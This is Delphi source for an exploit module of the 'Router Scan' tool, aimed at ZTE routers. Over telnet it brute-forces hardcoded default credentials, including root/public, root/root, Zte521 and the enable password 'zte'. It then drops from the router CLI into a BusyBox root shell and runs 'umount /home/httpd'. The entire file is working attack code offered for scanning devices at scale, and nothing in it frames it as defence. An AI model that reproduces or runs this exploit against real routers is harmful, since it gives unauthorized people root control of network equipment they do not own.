// Router Scan exploit
// Copyright (C) Stas'M Corp. 2015

// Project home page:
// http://stascorp.com/load/1-1-0-56

// References:
// https://forum.antichat.ru/posts/3868474

function TRouter.Exploit_ZTETelnetRootFix(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  C: TClientSocket;
  A, Req, Buf: AnsiString;
  Len: Integer;
  StrOut: AnsiString;
  function TelnetWaitString(SS: Array of AnsiString; TimeoutSec: Integer;
    var StrOut: AnsiString): Boolean;
  var
    I: Integer;
  begin
    Result := False;
    for I := 0 to Length(SS) - 1 do
      if Pos(SS[I], A) > 0 then begin
        Result := True;
        StrOut := SS[I];
        Exit;
      end;
    while (TimeoutSec > 0) and (not Terminated) do begin
      Len := C.Socket.ReceiveLength;
      if Len > 0 then begin
        SetLength(Buf, Len);
        C.Socket.ReceiveBuf(Buf[1], Len);
        A := A + Buf;
        for I := 0 to Length(SS) - 1 do
          if Pos(SS[I], A) > 0 then begin
            Result := True;
            StrOut := SS[I];
            Exit;
          end;
      end;
      Sleep(1000);
      Dec(TimeoutSec);
    end;
  end;
  procedure ZTE_CLI;
  begin
    if not TelnetWaitString(['Username:'], 4, StrOut) then
      Exit;
    A := '';
    Req := 'root'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['Password:', '% Bad username!'], 4, StrOut) then
      Exit;
    if StrOut = '% Bad username!' then
      Exit;
    A := '';
    Req := 'public'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['CLI>', '% Bad password!'], 4, StrOut) then
      Exit;
    if StrOut = '% Bad password!' then begin
      A := '';
      Req := 'root'#13#10;
      C.Socket.SendBuf(Req[1], Length(Req));
      if not TelnetWaitString(['CLI>', '% Bad password!'], 4, StrOut) then
        Exit;
      if StrOut = '% Bad password!' then begin
        A := '';
        Req := 'Zte521'#13#10;
        C.Socket.SendBuf(Req[1], Length(Req));
        if not TelnetWaitString(['CLI>', '% Bad password!'], 4, StrOut) then
          Exit;
        if StrOut = '% Bad password!' then
          Exit;
      end;
    end;
    A := '';
    Req := 'enable'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['Password:'], 4, StrOut) then
      Exit;
    A := '';
    Req := 'zte'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['CLI#', '% Bad password!'], 4, StrOut) then
      Exit;
    if StrOut = '% Bad password!' then
      Exit;
    A := '';
    Req := 'sh'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['Login:'], 4, StrOut) then
      Exit;
    A := '';
    Req := 'root'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['Password:', 'User name is incorrect'], 4, StrOut) then
      Exit;
    if StrOut = 'User name is incorrect' then
      Exit;
    A := '';
    Req := 'root'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['BusyBox', 'Password is incorrect'], 4, StrOut) then
      Exit;
    if StrOut = 'Password is incorrect' then
      Exit;
    A := '';
    Req := 'umount /home/httpd'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['#'], 10, StrOut) then
      Exit;
    A := '';
    Req := 'exit'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
  end;
  procedure ZTE_F660;
  begin
    A := '';
    Req := 'root'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['Password:', 'User name is incorrect'], 4, StrOut) then
      Exit;
    if StrOut = 'User name is incorrect' then
      Exit;
    A := '';
    Req := 'root'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['BusyBox', 'Password is incorrect'], 4, StrOut) then
      Exit;
    if StrOut = 'Password is incorrect' then begin
      A := '';
      Req := 'Zte521'#13#10;
      C.Socket.SendBuf(Req[1], Length(Req));
      if not TelnetWaitString(['BusyBox', 'Password is incorrect'], 4, StrOut) then
        Exit;
      if StrOut = 'Password is incorrect' then
        Exit;
    end;
    A := '';
    Req := 'umount /home/httpd'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
    if not TelnetWaitString(['#'], 10, StrOut) then
      Exit;
    A := '';
    Req := 'exit'#13#10;
    C.Socket.SendBuf(Req[1], Length(Req));
  end;
begin
  Result := False;
  if Pos('ZTE corp', ServerName) = 0 then
    Exit;
  C := TClientSocket.Create(nil);
  LatestSock := C;
  C.Address := IPToStr(IP);
  C.Port := 23;
  C.ClientType := ctBlocking;

  try
    C.Open;
  except
    LatestSock := nil;
    C.Free;
    Exit;
  end;
  A := '';
  if TelnetWaitString([
  'The connect number is limited',
  'Welcome to the world of CLI !',
  'Login: '
  ], 5, StrOut) then begin
    if StrOut = 'Welcome to the world of CLI !' then
      ZTE_CLI;
    if StrOut = 'Login: ' then
      ZTE_F660;
    if C.Active then
      C.Close;
    LatestSock := nil;
    C.Free;
    Exit;
  end;
end;
